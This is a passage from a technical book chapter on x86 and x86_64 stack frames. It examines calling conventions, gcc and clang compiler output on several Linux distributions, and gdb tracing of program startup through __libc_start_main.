(beyond the registers reserved for them).  

•   Each function may use a 128-byte red zone; here leaf functions can store their 
local variables and copies of parameters.         

•   Return values of type  pointer  or  integer  are stored in  rAX ; those of type  float  or 
 double  in  XMM0 .    

   10  For details, see    http://refspecs.linuxbase.org/elf/gabi41.pdf       
   11  For instance, see    http://refspecs.linuxbase.org/     .  
   12  Local variables may be allocated in registers rather than on the stack.  
   13  The definition of stack frame we gave at the beginning of the chapter is different from the one used by the ABI, which 
can be summarized thus: “The stack frame of a function is a memory area allocated when the function starts.” Therefore 
it is between  RSP  and  RBP +16. According to this definition, the return address, the dynamic link, and the local variables 
of a function all belong to the related stack frame, which is created and removed with the same function, but it’s not sure 
that all its parameters lie in the same frame.  

http://refspecs.linuxbase.org/elf/gabi41.pdf
http://refspecs.linuxbase.org/
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 This calling convention has a lot in common with  cdecl  (detailed later in the chapter), particularly the 
order in which arguments (beyond those passed in registers) are passed on the stack and who (the caller or 
the callee) must clean it. 

 The   cdecl  convention   doesn’t use registers for passing arguments. Because registers speed up 
execution, it would be a waste to not use them in modern operating systems. 

 Function names don’t begin with an underscore character; therefore they remain unchanged, as in the 
C source files. This also applies to global and external static variables. If two C sources have external static 
variables with the same name, in the assembly code they keep the same name (without a starting underscore). 
But they are distinct because their names are local symbols, as we can see by using the command  nm . 

 The names of internal static variables are followed by a dot and a progressive integer number, as in 
 name1.2831 ,  name2.2832 , and so on. 

 By contrast, the names of local variables are lost; in the assembly code local variables have no name, 
because compilers identify them through the offset from the byte pointed to by  RBP  or  RSP : 

   movl   $863383910, -8(%rbp)                          # Copies 863383910 = 0x33763166 to  f1v3   

        Test on Debian (64-bit): Stack Frame Charts 
 In Figures  5-22  through  5-24 , the stack frame layout for each function is graphically summarized to provide 
an overview showing how stack frames are internally organized. Each object (local variable, copy of 
parameter, or register) is represented by a colored rectangle; over each of them there is the offset from the 
byte addressed by  RBP . Unused memory areas have white background.    

 Paragraphs are delimited by thick vertical segments. It’s worth noting, once again, that the stack frame 
layout is only summarily described by calling conventions, which leave compilers free to arrange the internal 
objects; see §3.2.2 (“The Stack Frame”) of the ABI.   
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  Figure 5-22.    Stack frame of function   f2          

  Figure 5-23.    Stack frame of function   f1          

  Figure 5-24.    Stack frame of function   main          

 

 

 



CHAPTER 5 ■ STACK FRAMES

121

     Test on  Slackware      (32-bit) 
 This next test has been done using  gcc  v. 4.9.2 (the same as in the previous test) installed[ 14 ] on Slackware 
14.1 for x86 processors. Now we have a different processor (x86/32bit instead of x86/64bit), as well as a 
different Linux distribution, whose libraries (particularly  libc , which contains the function  __libc_start_
main ) could show small differences from Debian.

 

Debian.      

  In this case it’s natural to expect a different calling convention. Instead of Slackware, we could use 
Debian for i386 processors; the output data should not change; we’ll see  later     . 

   14  See instructions at the following page:    http://gcc.gnu.org/wiki/InstallingGCC     .  

http://gcc.gnu.org/wiki/InstallingGCC
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     Test on Slackware (32-bit): Stack Frame of f2()       
 In the first paragraph we can see the copies of the first two parameters, which are less than four bytes each; 
they are  p1  ( char , one byte) and  p2  ( short int , two bytes). For each copy the compiler reserves four bytes 
on the stack. 

 Parameters are left-aligned (“ p2 ..”, not “.. p2 ”) because the compiler pushes them onto the stack starting 
from the byte pointed to by  ESP  (thus moving to the right), not from the byte pointed to by  EBP  (moving to the 
left) as for local variables. 

 The compiler uselessly “extracts” parameters into registers before saving them on the stack. The 
procedure is similar for all of them; for example: 

   movl  8(%ebp), %edx      # Copies (int)p1 (4 bytes) to EDX 
 movb %dl, -28(%ebp)      # Extracts (char)p1 (1 byte) from EDX to the  stack     . 

   Using a register is necessary, since it’s not possible to copy data from memory to memory, as in 

   movb 8(%ebp), -28(%ebp) 

   If, at a later time,  p1  were needed (as argument for another function, or as addend in a mathematical 
expression ,  or for some other reason), the compiler would repeat the same procedure, reversing the path: 

   movsbl  -28(%ebp), %edx   # Copies the byte at address EBP-28 to EDX 

   The last instruction converts one  char  to  int  ( movsbl  =  MOV e with  S ign extent from  B yte to  L ongword, 
four bytes), and then copies it to EDX 

 The remaining 13 bytes are unused. 
 The following paragraph includes local variables:  bp  (bytes 5-8),  sp  (bytes 9-12), and  f2v1  (bytes 13-16). 

They are allocated in the same order as they are declared in the C source: the first is  f2v1  (at the highest 
address); the last is  bp  (at lower address, so it appears on the left). 

 The third paragraph includes the dynamic link (bytes 9-12) and the return address (bytes 13-16)[ 15 ]. In 
fact, we know that  EBP  (=0xbfea9948) points to the dynamic link. There are unused bytes (4+8) in the second 
and third paragraph; they are necessary to avoid mixing in the same paragraph parameters, variables, and 
“return addresses” (including the dynamic link). 

 The parameters of  f2() , in the fourth paragraph, close the stack frame.[ 16 ] Parameters, allocated onto 
the stack in reverse order, have addresses that are multiples of 4; for each of them, even if of type  char  or 
 short int , the compiler reserves four bytes.  

     Test on Slackware (32-bit): Stack Frame of f1()       
 The first paragraph of this record contains local variables. It is to be noted that  f1v1 , of type  char , needs only 
one byte, but the compiler reserves two bytes on the stack so that the following variable ( f1v2 , of type  short 
int , which needs two bytes) is correctly aligned (it has an address that is a multiple of 2). 

 If  f1v2  were of type  char , for  f1v1  the compiler would reserve only one byte, not two. In that case there 
would be two unused bytes between  f1v2  and  f1v3 , since  f1v3  (of type  int ) must have an address that is a 
multiple of its size (four bytes): 

   ..9960 > A0 1A 76 B7    66 31 76 34     66 31 76 33    C8 02  32   31    ..v. f1v4  f1v3 .. 2  1  

   15  Even in this case, the calling convention requires the stack pointer to be a multiple of 16 before calling a function.  
   16  The assembly code shows that functions push onto the stack, in reverse order, all arguments of the functions they will 
call. There is a reason for that: there are far fewer x86 registers than x86_64 registers.  
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   Therefore, the “empty spaces” (that is, the unused bytes) result from two needs:

•    To allocate variables in the same order they are declared in the C source code;  

•   To assign to each variable an address that is a multiple of its size.    

 The two following paragraphs tell us nothing new: the second includes the dynamic link and the return 
address, the third includes the only parameter,  p1 . In the four bytes following  p1  we recognize the address of 
 main() : 

                  p1          main  
 ..9980 > 66 31 70 31  2C 87 04 08  B0 9B 04 08  D3 87 04 08  f1p1,........... 

   It is the second parameter of  printf() , called before  f1()       .  

     Test on Slackware (32-bit): Stack Frame of main()       
 This record holds four paragraphs (like  f2 ). The first contains the only local variable ( f0v1 ); the second 
contains the dynamic link (with null value, terminating the dynamic chain) and the return address, which 
points into  __libc_start_main() . The parameters ( argc ,  argv ) are in the fourth paragraph; they are aligned 
on the left boundary and appear in the same order as in the prototype (because they are stored on the stack 
in reverse order). 

 It is easy to identify  argc  as 02 00 00 00 because we passed 15 as argument on the command line, so 
 argc =2. Consequently the other parameter ( argv ) must be 54 9A EA BF = 0xbfea9a54. After  argv  there is 
 envp  (=0xbfea9a60), always pushed onto the stack even if it is missing in the declaration of  main() : 

                argc         argv         envp      
 ..99C0 > 02 00 00 00  54 9A EA BF  60 9A EA BF  00 E0 FF FF 

   But something looks strange: it’s not clear why the third paragraph includes a copy of  IP_C ; we need the 
assembly code to understand.  

     Test on Slackware (32-bit): Assembly Code 
 Reading the complete  assembly code     , most of it omitted here to save space, is very useful to better 
understand how function calls work and to get valuable information. For example, the prologue of  f1()  is 
this: 

   pushl   %ebp                    # Register names are ESP, EBP on a 32-bit operating system 
 movl    %esp, %ebp 
 pushl   %ebx                     # Copies the nonvolatile register EBX before f1() can use it 
 subl    $20, %esp               # Reserves space for local variables 

   The penultimate instruction ( pushl %ebx ) tells us that the stack frame of  f1()  contains another “hidden 
variable,” a copy of the  EBX  register. 

 The epilogue of  f1()  is the opposite of the prologue: 

   addl   $16, %esp                # ESP now points to the local variables 
 movl   -4(%ebp), %ebx           # Restores EBX 
 leave                           # Restores RSP, RBP 
 ret 
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   The assembly code of  main()  shows a strange prologue: 

   leal   4(%esp), %ecx     # Stores in ECX the value of ESP before main() was called; now ECX=&argc 
 andl   $-16, %esp      # Zeroes the low semibyte of ESP 
 pushl  -4(%ecx)        # Copies IP_C one line up, in the lower paragraph 
 pushl  %ebp            # Pushes BP_C next to the copy of IP_C 
 movl   %esp, %ebp      # Copies ESP to EBP (now EBP points to BP_C) 
 pushl  %ecx            # Copies ECX (=&argc) onto the stack, next to BP_C 
 subl   $20, %esp       # Reserves stack space for local variables (f0v1) 

   The corresponding epilogue is this: 

   addl   $16, %esp       # Makes ESP point to the paragraph which contains BP_C 
 movl   $0, %eax        # Stores in EAX the return value of main() 
 movl   -4(%ebp), %ecx  #  Restores in ECX the value of ESP before main() was called; ECX=&argc 
 leave                  # Makes ESP point to the copy of IP_C 
 leal   -4(%ecx), %esp  # Makes ESP point to IP_C 
 ret                    # Returns to the caller (the function __libc_start_main) 

   When  __libc_start_main()  calls  main() , the return address is stored on the stack by the  call  
instruction; this address ( IP_C ) is then copied into a new paragraph (with lower address) by the instruction 
 pushl -4(%ecx) . Then everything works as usual:  BP_C  is pushed onto the stack, and enough space is 
reserved for local  variables     . 

 Before  ECX  is modified (a call to  atoi  changes its value), a backup copy is made on the stack by the 
instruction  pushl %ecx . When  main () terminates, ECX needs to be restored ( movl -4(%ebp), %ecx ) so 
that  ESP  can point again to  IP_C  (the one saved on the stack by the instruction  call main ). All of this 
complication is a security measure that is missing in older versions (such as 4.8.2) of  gcc . 

 A last note: according to the ABI, the compiler could address local variables by means of  ESP  instead of 
 EBP ; this is what  gcc  v. 4.8.2 does in  main()  when initializing or using  f0v1 : 

   movl $829829222, 28(%esp)                                  # 829829222 = 0x31763066 = "f0v1" 
 ... 
 movl 28(%esp), %eax 

        Test on Slackware (32-bit): Code Optimization 
 As we did with Debian, let’s try enabling  code optimization      to see what changes. 

    g.$  gcc -O stackDump.c -o stackDump                       # Creates the optimized executable 
 stackDump.c: In function 'Dump': 
 stackDump.c:36:38: warning: cast from pointer to integer of different size 
        if(col==1) printf("..%04X > ", (uint16_t)p); 
                                       ^ 
 g.$  ./stackDump  

   Address of main() = 0x804870a 
 Address of f1()   = 0x80486de 
 Address of f2()   = 0x8048680 

   f2: SP = (nil) 
     BP = (nil) 

   f2: warning: Dump aborted 
 g.$        
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       Code Debugging      
 Output data show that there is something different: we can accept a null value for  EBP  (the compiler doesn’t 
use this register, as described under “Stack Frames” earlier), but it’s weird to see a null value for  ESP . To 
understand the reason, we can disassemble the executable or use  gcc  to create the optimized assembly file. 

 Here is the code of  f2() : 

   f2: 
 .LFB27: 
        .cfi_startproc 
        pushl %ebx 
        .cfi_def_cfa_offset 8 
        .cfi_offset 3, -8 
        subl    $16, %esp 
        .cfi_def_cfa_offset 24 
 #APP 
 # 18 "stackDump.c" 1 
        movl %esp, %eax          # The compiler doesn't call getSP(), but includes its code 
        addl $8, %eax            #  The address in EAX will be overwritten by next instruction 
 # 0 "" 2 
 # 24 "stackDump.c" 1 
        movl (%ebp), %eax        # Even the code of getBP() has been included in f2(); this 
 # 0 "" 2                        # instruction overwrites EAX 
 #NO_APP 
        pushl $f2 
        .cfi_def_cfa_offset 28 
        pushl $.LC3 
        .cfi_def_cfa_offset 32 
        call    printf           # Prints "Address of f2() = 0x8048680" 
        addl    $12, %esp 
        .cfi_def_cfa_offset 20 
        pushl   $0 
        .cfi_def_cfa_offset 24 
        movl    $0, %ebx 
        pushl   %ebx 
        .cfi_def_cfa_offset 28 
        pushl   $.LC4            # Address of the string "f2: SP = %p\n BP = %p\n\n" 
        .cfi_def_cfa_offset 32 
        call    printf           # Prints "f2: SP = (nil)" 
 ... 

   We notice that both functions  getSP()  and  getBP()  have been included in the code of  f2 (), and the 
addresses copied to  EAX  are lost because they were not copied to local variables ( sp ,  bp ). The variable  bp  is 
useless, since the dynamic chain vanishes because of the optimization, but  sp  should be kept. 

 Before calling  printf("f2: SP = %p\n BP = %p\n\n", sp, bp) , two null addresses are pushed onto 
the stack: 

           pushl   $0 
         movl    $0, %ebx 
         pushl   % ebx      

   These values are responsible for the two “(nil)” strings printed by  f2() .  
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   Correcting the  Code      
 To make the program work, we move  getSP()  and  getBP()  into one assembly file distinct from the C source, 
which therefore includes only function prototypes: 

   unsigned char *getSP(); 
 unsigned char *getBP(); 

   The assembly file (let’s name it  f.s ) contains this: 

    .globl getSP 
 getSP:                              # The instruction "call getSP" pushes EIP on the stack, 
    movl %esp, %eax                  # decreasing ESP by 4 bytes; therefore to get the top of 
    addl $4, %eax                    # the stack before the call to getSP() we add 4 to EAX. 
    ret 

   .globl getBP 
 getBP: 
    movl %ebp, %eax 
    ret 

    Now we can compile and execute again: 

    g.$  gcc stackDump.c f.s -O -o stackDump                    # Creates the optimized executable 
 stackDump.c: In function 'Dump': 
 stackDump.c:27:38: warning: cast from pointer to integer of different size 
        if(col==1) printf("..%04X > ", (uint16_t)p); 
                                       ^ 
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       Examining the  Output Data      
 The absence of both local variables (stored in registers to speed up execution) and dynamic chain makes 
it harder to identify the stack frames; parameters are, however, still passed through the stack (because the 
calling convention has not changed), so it’s possible to guess the frame boundaries, but if we want more 
detail we must read the assembly code. 

 This reading reveals that the stack frame of  f1() , as we defined it, doesn’t include the first paragraph 
(at address  ..CB40 ), but only the two following ones. In fact, the first paragraph includes the parameters 
of  printf() , but none for  f1() . Let us keep in mind that the ABI definition of a stack frame is different: a 
stack frame is the memory area allocated (often at function startup) between  ESP  and  EBP +7 to include the 
dynamic link and the return address, as shown in Figure  5-25 .  

 This way we see that the compiler even avoids allocating variables in registers; for example, in  f1()  the 
arguments of  f2()  are immediately calculated and then pushed onto the stack: 

   f1: 
         subl   $20, %esp                    # Needed for ESP alignment 
         pushl  $f1                          # 2nd argument of printf() 
         pushl  $.LC6                        # 1st argument of printf() 
         call   printf                       # printf("Address of f1() = %p\ n ", f1); 
         pushl  $879768166                   # "f2p4" (f1v4-0x5FF00) 
         pushl  $862990950                   # "f2p3" (f1v3-0x5FF00) 
         pushl  $12912                       # "p2" (f1v2-6) 
         pushl  $49                          # "1" (f1v1) 
         call   f2                           # f2(f1v1, f1v2-6, f1v3-0x5FF00, f1v4-0x5FF00); 
         addl   $44, %esp                    # Takes ESP to point back to IP_C 
         ret 

   The same applies to  main() ; the local variable  f0v1  is used only when calling  f1() , so the compiler 
replaces the expression “f0v1-0x5FF00” with its result (829436262): 

           movl   $829436262, (%esp)           # 0x31703166 ("f1p1") = argument of f1()       
         call   f1 

   Furthermore, local variables are completely ignored if unused. 
 For example, in  f2()  the variable  sp  is stored in  EBX , while  bp  is stored in  ESI ; since these two registers 

are nonvolatile, the function must initially make a backup copy. But the third variable, named  f2v1 , is unused 
and therefore ignored; we cannot find any occurrence of it in the registers. In other words, if we delete the line 

   int f2v1=0x31763266; 

   the executable code doesn’t change. 
 In  main() , the backup copy of  IP_C  on a new paragraph is still implemented, as we can see by looking at 

the output data. The dynamic chain no longer exists; there is only the last (null) pointer next to the copy of 

  Figure 5-25.    Stack frame as defined by ABI       
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the return address. The  main  function is responsible for pushing onto the stack all the parameters needed by 
the called functions, particularly these:

•    bytes 1-4: 0x31703166; this is the parameter of  f1() ;  

•   bytes 5-8: 0x08048708 (=&main); this is the second parameter of  printf() ;  

•   bytes 9-12: 0x0a (=10); this is the third parameter of  strtol()  because the executable 
includes the source code of  atoi() ; therefore,  main()  directly calls  strtol() , whose 
first two parameters are overwritten by those of  printf() .     

    Final Notes      
 The tests we have done (with and without code optimization) should clarify the meaning of the statement 
“The internal layout of stack frames depends on the calling convention, on the compiler and its options, 
having to comply only with the general requirements of the ABI.” 

 As another example, let’s try changing the last instruction of  f2() , from this: 

   if(Dump(sp, sp+nRows*16)) printf("f2: warning: Dump aborted\ n ");      /* Variant A */ 

   to this: 

   do { 
    if(Dump(sp, sp+nRows*16)) printf("f2: warning: Dump aborted\ n ");   /* Variant B */ 
    } while(!sp); 

   and then to this: 

   do { 
    if(Dump(sp, sp+nRows*16)) printf("f2: warning: Dump aborted\ n ");   /* Variant C */ 
    sp = sp; 
    } while(!sp); 

   and finally to this: 

   do { 
    if(Dump(sp, sp+nRows*16)) printf("f2: warning: Dump aborted\ n ");   /* Variant D */ 
    sp = sp; 
    bp++; 
    } while(!sp); 

   All the related executables[ 17 ] should work the same way, since the stack pointer is not null. In 
particular, variants B and C are identical (the instruction  sp = sp;  is ineffective). The last variant has one 
more instruction ( bp++; ) but it is ineffective because soon after it the function  f2  ends. 

 So we expect to have the same stack frame of  f2()  for all executables, but that is not true; the paragraph 
containing the local variables changes: 

         Variant A        Variant B        Variant C       Variant D  
 ....(bp)(sp)f2v1 ....(bp)(sp)f2v1 ....(bp)f2v1(sp) ....f2v1(bp)(sp)        

   17  Programs must be compiled with optimization disabled so that the local variables are stored on the stack.  
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         Test on Slackware (32-bit):  Calling and Naming Conventions      
 The calling convention used by  gcc  is described in the  System V i386 ABI, [ 18 ] whose main requirements are:

•    Before calling a function, the stack pointer ( ESP ) must be a multiple of 16.  

•   Arguments are passed through the stack in reverse order by the caller. The size of 
each parameter must be a multiple of 16.  

•   Each function allocates enough stack space for its own local variables and for 
parameters of functions to be called. This memory area will be released when the 
function ends.  

•   Nonvolatile registers are  ESP ,  EBP ,  EBX ,  EDI , and  ESI .    

 Pointer or integral ( char ,  short ,  int ,  long ) return values are passed to the caller in  EAX , while floating-
point return values ( float ,  double ,  long double ) in  ST0 . Those of type  long long  are passed in  EDX + EAX  (the 
low byte in  EAX ) because they need eight bytes each. 

 This calling convention is of type  cdecl . The naming convention is the same as before.  

     Test on Slackware (32-bit): Stack Frame  Charts      
 Figures  5-26  through  5-28  show the stack frame layout for functions  f2 ,  f1 , and  main .    

  Figure 5-26.    Stack frame of function  f2        

   18  gABI:    http://refspecs.linuxbase.org/elf/gabi41.pdf      psABI:    http://refspecs.linuxbase.org/elf/
abi386-4.pdf       

  Figure 5-27.    Stack frame of function   f1                   

  Figure 5-28.    Stack frame of function  main        

 

 

 

http://refspecs.linuxbase.org/elf/gabi41.pdf
http://refspecs.linuxbase.org/elf/abi386-4.pdf
http://refspecs.linuxbase.org/elf/abi386-4.pdf
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 In case you’re curious, Figure  5-29  shows the stack frame of  main()  as defined by the ABI.    

     Test on  Debian   (32-bit) 
 Let us see what changes if we recompile our test program on Debian 8 for x86 processors, using the same 
version of  gcc  (4.9.2). 

  Figure 5-29.    Stack frame of function  main  as defined by  ABI                   
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          The output layout is the same as for Slackware (see “Test on Slackware (32-bit)” earlier in the chapter). 
 There are no differences if using  gcc  v. 4.8.2, but another version of Debian may have slightly different 

libraries, which affect output data. Just to give one example, we can try it on Debian 7.5 with  gcc  v. 4.8.2. 
The output layout is quite the same, with only one difference: the last dynamic link is not null. The calling 
convention is, however, identical. 

       If we want to understand why the dynamic chain is not null-terminated, we must examine in greater 
detail how  main()  is called; only a brief mention was made earlier.     
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 We need the start address provided by  objdump , and the  gdb  debugger to follow the execution flow: 

    g.$  objdump -f stackDump  

   stackDump:      file format elf32-i386 
 architecture: i386, flags 0x00000112: 
 EXEC_P, HAS_SYMS, D_PAGED 
 start address 0x080483d0 

   g.$  gdb stackDump  
 GNU gdb (GDB) 7.4.1-debian 
 Copyright (C) 2012 Free Software Foundation, Inc. 
 ... 
 (gdb)  disassemble 0x080483d0  
 Dump of assembler code for function _start:        # 0x080483d0 is therefore the address of _start() 
    0x080483d0 <+0>:    xor    %ebp,%ebp        # Clears EBP 
    0x080483d2 <+2>:    pop    %esi               # Extracts argc from the stack and adds 4 to ESP 
    0x080483d3 <+3>:     mov    %esp,%ecx          # Now ESP points to argv[0], hence ECX=ESP=argv 
    0x080483d5 <+5>:    and    $0xfffffff0,%esp  # Makes ESP multiple of 16   
    0x080483d8 <+8>:    push   %eax             # EAX padding 
    0x080483d9 <+9>:    push   %esp             # 7th parameter (of __libc_start_main) 
    0x080483da <+10>:   push   %edx             # 6th parameter 
    0x080483db <+11>:   push   $0x8048740       # 5th parameter 
    0x080483e0 <+16>:   push   $0x8048750       # 4th parameter 
    0x080483e5 <+21>:   push   %ecx             # 3rd parameter: argv 
    0x080483e6 <+22>:   push   %esi             # 2nd parameter: argc 
    0x080483e7 <+23>:   push   $0x80486da       # 1st parameter: main 
    0x080483ec <+28>:   call   0x8048390 <__libc_start_main@plt> 
    0x080483f1 <+33>:   hlt 
    0x080483f2 <+34>:   nop 

    As we can see,  _start()  calls __ libc_start_main() , which gets seven parameters, the first being the 
address of  main() . To see the code of __ libc_start_main() , we set a breakpoint at the beginning of its 
prologue and then start the executable:[ 19 ] 

   (gdb)  break *__libc_start_main                                 # Sets a breakpoint
Breakpoint 1 at 0x8048390 
 (gdb)  run 15                                                # Executes the program 
 Starting program: /home/g/stackDump 15 

   19  The command  "disassemble __libc_start_main"  given before starting the executable displays the code of 
 __libc_start_main@plt() ,  which is the following:
 0x08048390 <+0>:    jmp    *0x8049abc 
0x08048396 <+6>:    push   $0x18 
0x0804839b <+11>:   jmp    0x8048350  
But if we start the executable and stop it even at the first instruction of  _start() , the same command prints, as expected, 
the code of  __libc_start_main() , not that of  __libc_start_main@plt() .  
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      Breakpoint 1, 0xb7e7ed60[ 20 ] in __libc_start_main () from /lib/i386-linuxgnu/ 
 i686/cmov/libc.so.6 (gdb) 
 disassemble __libc_start_main  
 Dump of assembler code for function __libc_start_main: 
 => 0xb7e7ed60 <+0>:    push   %ebp                            # Next instruction to be executed 
    0xb7e7ed61 <+1>:    mov    %esp,%ebp 
    0xb7e7ed63 <+3>:    push   %edi 
    0xb7e7ed64 <+4>:    push   %esi 
    0xb7e7ed65 <+5>:    push   %ebx 
    0xb7e7ed66 <+6>:    call   0xb7f78c66 
    0xb7e7ed6b <+11>:   add    $0x149289,%ebx 
    ... 
    0xb7e7ee2a <+202>:  mov    -0xd4(%ebx),%eax 
    0xb7e7ee30 <+208>:  mov    0xc(%ebp),%edx 
    0xb7e7ee33 <+211>:  mov    (%eax),%eax 
    0xb7e7ee35 <+213>:  mov    %edx,(%esp)                  # 1st argument of main(): argc 
    0xb7e7ee38 <+216>:  mov    %eax,0x8(%esp)               # 3rd argument: envp 
    0xb7e7ee3c <+220>:  mov    0x10(%ebp),%eax              # Copies argv to EAX 
    0xb7e7ee3f <+223>:  mov    %eax,0x4(%esp)               # 2nd argument: argv 
    0xb7e7ee43 <+227>:  call   *0x8(%ebp)                   #  Calls main()  
    0xb7e7ee46 <+230>:  mov    %eax,(%esp)                  # Value returned by main() 
    0xb7e7ee49 <+233>:  call   0xb7e97550 <exit>            # Terminates the program 

   Let us now execute, one by one,  t  he instructions of __ libc_start_main()  until the beginning of  main() . 
We are looking for the value of  EBP  at that time. This value, copied to the stack by the prologue of  main() , is 
the last dynamic link, which is not null as expected. We can ask  gdb  to print, at each step, the value of  EBP , as 
well as the next instruction to be executed: 

    (gdb)  display/i $pc                                        # At each step gdb prints the next 
instruction to be executed 

 1: x/i $pc 
 => 0xb7e7ed60 <__libc_start_main>: push %ebp             #  This is the next instruction to 

be executed 
 (gdb)  display $ebp                                         #  At each step gdb shows 

the value of EBP 
 2: $ebp = (void *) 0x0                                    #  It was set to zero by the first 

instruction of _start() 
 (gdb)  ni                                                  # Executes "push %ebp" 
 0xb7e7ed61 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 
 2: $ebp = (void *) 0x0                                   # EBP is still null 
 1: x/i $pc 
 => 0xb7e7ed61 <__libc_start_main+1>: mov %esp,%ebp            # Next instruction to be executed 
 (gdb)  ni                                                     # Executes "mov %esp, %ebp" 
 0xb7e7ed63 in __libc_start_main () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 
 2: $ebp = (void *) 0xbffff598                            #  EBP is no longer null  

   20  This address is different from the one (0x8048390 =  _libc_start_main@plt ) printed before starting the program: now 
 gdb  knows the real address of the function.  
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 1: x/i $pc 
 => 0xb7e7ed63 <__libc_start_main+3>:  push  %edi               # Next instruction to be executed 
 (gdb)  break *(__libc_start_main+227)                          # It will stop before calling main() 
 Breakpoint 2 at 0xb7e7ee43 
 (gdb)  continue                                            # Continues execution 
   Breakpoint 2, 0xb7e7ee43 in __libc_start_main () from /lib/i386-linuxgnu/ 
 i686/cmov/libc.so.6 
 2: $ebp = (void *) 0xbffff598                            # EBP still holds 0xbffff598 
 1: x/i $pc 
 => 0xb7e7ee43 <__libc_start_main+227>: call *0x8(%ebp)   #  Starts main()  
 (gdb)  x $ebp                                              # Shows EBP and *EBP 
 0xbffff598:    0x00000000                                # EBP=0xbffff598 points to NULL 
 (gdb)  x $ebp+4  
 0xbffff59c:    0x080483f1                                # Return address   
 (gdb)  x $ebp+8  
 0xbffff5a0:    0x080486da                                # Address of main() 

       A brief note is needed to understand why  call *0x8(%ebp)  starts  main() : because the first instruction 
of  _start  ( xor %ebp, %ebp ) had set  EBP  to zero, the first instruction of __ libc_start_main  ( push %ebp ) 
copies 0 to the stack and decreases  ESP , which now points to 0. The following instruction ( mov %esp, %ebp ) 
copies the  ESP ’s content to  EBP , so that even the  EBP  register points to 0.  EBP +8 points to the first parameter of 
 __libc_start_main() , which is the address of  main() , so  call *0x8(%ebp)  starts  main() . 

 Figure  5-30  shows the stack content at this time.      

 The program execution is now waiting for the next instruction ( call *0x8(%ebp) ), which is responsible 
for starting  main() , whose arguments have already been pushed onto the stack by  _libc_start_main() : 

    (gdb)  x $esp                              # Shows ESP and *ESP 
 0xbffff520:     0x00000002                # 1st parameter of main(): argc 
 (gdb)  x $esp+4  
 0xbffff524:     0xbffff5c4                # 2nd parameter of main(): argv 
 (gdb)  x $esp+8  
 0xbffff528:     0xbffff5d0                # 3rd parameter of main(): envp 
 (gdb)  x/s **(char ***)($esp+4)              # Shows **(ESP+4)=argv[0] and the string pointed to 
 0xbffff714:      "/home/g/stackDump"      # argv[0] points to the executable's filename 
 (gdb)  x/s **(char ***)($esp+8)  
 0xbffff729:      "SSH_AGENT_PID=3173"     # envp[0] points to the first environment variable 
 (gdb)  x/6s **(char ***)($esp+4)            # Shows argv[] and the first 4 environment variables 
 0xbffff714:      "/home/g/stackDump"      # argv[0] -> 1st command line argument 
 0xbffff726:      "15"                     # argv[1] -> 2nd command line argument 

  Figure 5-30.    Stack content when  __libc_start_main()  begins execution       
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 0xbffff729:      "SSH_AGENT_PID=3173"     # envp[0] -> 1st environment variable 
 0xbffff73c:      "GPG_AGENT_INFO=/home/g/.cache/keyring-N2PqZ1/gpg:0:1" 
 0xbffff771:      "TERM=xterm" 
 0xbffff77c:      "SHELL=/bin/bash"        # envp[3] -> 4th environment variable 

   We see that  main()   always gets   envp   as its third parameter, even if it is missing in the prototype  (or in the 
declaration). 

 Now we can start  main()  by using the command  ni , which executes the next instruction: 

       We’re done! The step-by-step execution has shed some light on the stage preceding the start of  main()  
and clarifies why the dynamic link in the stack frame of  main()  is not null: the null terminator lies inside the 
frame of __ libc_start_main() , not in that of  main() . 

 Actually, __ libc_start_main()  identifies parameters and local variables by means of the offset from 
 EBP . This register has a non-null value, which was copied onto the stack by the prologue of  main() . It is the 
dynamic link in the stack frame of  main() , the last printed by  Dump()    . 
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 Comparing this 32-bit version to the 64-bit version of Debian 7.5, we find a slight difference between 
them. In both of them the prologue of  main()  makes a backup copy of  RBP , which is soon overwritten by 
 RSP , and finally restored by the epilogue. But in the 64-bit version, the value of  RBP  [ 21 ] is null before calling 
 main() ; therefore the dynamic link inside the stack frame of  main()  is null. 

 The same applies to Slackware: in __ libc_start_main() , parameters and local variables are located 
through  ESP  (not  EBP ), which is initialized to 0 by  _start()  and not modified by __ libc_start_main() : 

      0xb7e3e784 <+212>:   mov    -0xb0(%ebx),%eax 
    0xb7e3e78a <+218>:   mov    (%eax),%eax 
    0xb7e3e78c <+220>:   mov    %eax,0x8(%esp) 
    0xb7e3e790 <+224>:   mov    0x78(%esp),%eax 
    0xb7e3e794 <+228>:   mov    %eax,0x4(%esp) 
    0xb7e3e798 <+232>:   mov    0x74( %esp ),%eax 
    0xb7e3e79c <+236>:   mov    %eax,( %esp )                     # EBP=0; it was set by _start() 
    0xb7e3e79f <+239>:   call   *0x70( %esp )                    # Calls main() 
    0xb7e3e7a3 <+243>:   mov    %eax,( %esp )                    # Return address 
    0xb7e3e7a6 <+246>:   call   0xb7e58170 <exit> 

   In summary, the exact position of the null terminator inside the dynamic chain is set by the library 
functions of the operating system in use.      

     Test on  Fedora      (32-bit) 
 If we compile and execute the test program on Fedora, we get the same output layout as for Slackware. There 
is no reason to expect any significant differences, because the processor is the same, as well as the compiler 
( gcc , even if the major version number has changed from 4 to 5) and library functions. It’s time  to use 
another compiler:   clang [ 22 ]. It was developed by Apple and is the most widely used (on Unix-like operating 
systems) after  gcc . 

    g.$  clang stackDump.c -o stackDump  
 stackDump.c:19:4: warning: control reaches end of nonvoid function [-Wreturn-type] 
    } 
    ^ 
 stackDump.c:25:4: warning: control reaches end of nonvoid function [-Wreturn-type] 
    } 
    ^ 
 2 warnings generated. 
 g.$ 
 g.$  ./stackDump  

   Address of main() = 0x8048810 
 Address of f1()   = 0x8048780 
 Address of f2()   = 0x80486c0 

   f2: SP = 0x34703266                                           # 0x34703266 = "f2p4" 
     BP = 0x34703266 

   Dump: 
 Segmentation fault (core dumped) 
 g.$ 

   21  On this operating system,  _libc_start_main() —unlike  main()  and other functions—doesn’t refer offsets from RBP.  
   22  For more information, see    http://clang.llvm.org/         http://en.wikipedia.org/wiki/Clang       

http://clang.llvm.org/
http://en.wikipedia.org/wiki/Clang
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    The real contents of  ESP  and  EBP  are certainly not those printed by  f2() ; the abnormal termination is a 
consequence. It is probably due to  getSP()  and  getBP() ; let us take a look at the  assembly code     : 

   g.$  gdb stackDump  
 GNU gdb (GDB) Fedora 7.10.1-30.fc23 
 Copyright (C) 2015 Free Software Foundation, Inc. 
 ... 
 (gdb)  disassemble getSP  
 Dump of assembler code for function getSP: 
    0x080484e0 <+0>:    push   %ebp                         # Prologue (OK) 
    0x080484e1 <+1>:    mov    %esp,%ebp                    # Prologue (OK) 
